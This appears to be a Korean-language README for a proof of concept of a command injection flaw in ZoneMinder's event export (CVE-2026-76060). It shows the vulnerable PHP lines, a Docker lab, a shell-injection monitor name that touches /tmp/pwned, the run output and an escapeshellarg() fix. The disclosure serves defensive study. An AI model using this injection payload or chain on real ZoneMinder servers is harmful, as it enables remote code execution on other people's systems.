
CVE-2026-76060에 대한 PoC로, ZoneMinder 취약점을 통해 RCE(원격 코드 실행)로 이어집니다.
ZoneMinder의 이벤트 내보내기 기능(web/includes/download_functions.php)에서 발견된 OS 명령어 주입 취약점에 대한 개념 증명(PoC)입니다.
모니터 이름은 escapeshellarg() 대신 수동으로 작은따옴표를 감싸는 방식으로 셸 명령어에 직접 삽입됩니다. 모니터를 생성할 수 있는 공격자는 임의의 셸 명령어를 주입할 수 있으며, 이 명령어는 사용자가 이벤트 내보내기를 트리거할 때 www-data/프로세스 실행 권한으로 실행됩니다.
44c5c3c — download_functions.php 파일이 도입된 시점입니다. 커밋 메시지는 "모니터별로 이벤트 비디오를 1개 파일로 연결하는 새로운 다운로드 모드 도입"입니다. 취약한 코드가 여기에 존재하지만, 공격을 위해 먼저 관리자가 모니터를 생성해야 했습니다.2d49e93 — "모니터에 Create 권한 도입: 특정 사용자는 기존 모니터를 편집할 수 있지만 새로 생성할 수는 없음." 이 시점부터 상황이 조금 달라집니다. 이제 Monitors=Create 권한만 있는 사용자도 공격용 모니터 이름을 설정할 수 있고, 내보내기 권한이 있는 모든 사용자가 이를 트리거할 수 있습니다.영향을 받는 버전: >= 1.37.48 (SQL 마이그레이션 변경 포함) 및 <= 1.38.1 1.36.x 브랜치는 영향을 받지 않습니다.
두 명의 사용자. 두 가지 권한 수준. 하나의 셸.
Monitors=Create 권한을 가지며, 이미 모니터가 있는 경우 Monitors=Edit 권한을 가집니다.이벤트 레코드를 수동으로 생성할 필요는 없습니다. ZoneMinder는 카메라 시스템이므로 카메라가 실행되면서 이벤트 레코드를 자동으로 생성합니다. 실제 배포 환경에서 설정 단계는 다음과 같습니다: 모니터를 생성하고, 그냥 두면 됩니다.
검증되지 않은 모니터 이름은 두 개의 별도 exec() 호출에 도달합니다:
126행 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
150행 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
내보내기 형식과 관계없이 동일하게 정교하게 제작된 모니터 이름에서 두 호출 모두 도달 가능합니다.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# ZoneMinder 초기화가 완료될 때까지 대기 (~30초)
uv run poc.py
init.sql은 인증이 활성화된 상태로 데이터베이스를 부트스트랩하며 두 명의 사용자를 생성합니다:
medpriv — 모니터 생성 권한 보유 (데모 시간 단축을 위해 이벤트 생성 권한도 있지만, 프로덕션에서는 필요하지 않음)lowpriv — 이벤트 내보내기 접근 권한만 보유uv run poc.py는 전체 체인을 실행합니다:
medpriv가 API를 통해 인증하고 poc'; touch /tmp/pwned; echo '라는 이름의 모니터를 생성합니다.medpriv가 데모 속도를 높이기 위해 이벤트 레코드를 생성합니다 (프로덕션에서는 ZoneMinder가 자동으로 수행).lowpriv가 인증하고 이벤트 내보내기를 트리거합니다./tmp/pwned를 확인하고 결과를 출력합니다.예상 출력:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
8.4 (High):AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H
PR:L과 PR:R에 대해 논쟁할 수 있지만, 어느 쪽이든 널리 사용되는 오픈소스 프로젝트의 높은 심각도의 원격 코드 실행 취약점입니다. 공격 표면이 상당히 넓고, 모니터 이름을 설정한 사용자와 다른 사용자가 트리거를 발생시킬 수 있다는 점이 악용 가능성에 흥미로운 변수를 추가합니다. PR:L을 수용한다면 9.0 (Critical)이 됩니다.
어느 쪽이든 최소한 escapeshellarg()는 비용이 들지 않습니다.
b3a7c05에서 패치됨[!NOTE] 신고 후 12시간 이내에 수정되었습니다. 유지관리자로부터 이 문제가 보안 이슈라는 인정을 받지 못했습니다. 동의하지 않습니다.
최소한 두 주입 지점 모두에 escapeshellarg()를 적용하세요:
// 126행
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// 150행
$command .= ' '.escapeshellarg($mergedFileName);
generateFileList()의 116행과 211행에도 동일한 패턴이 있습니다.
발견자: (@investigato)
전체 분석: scriptkittens.com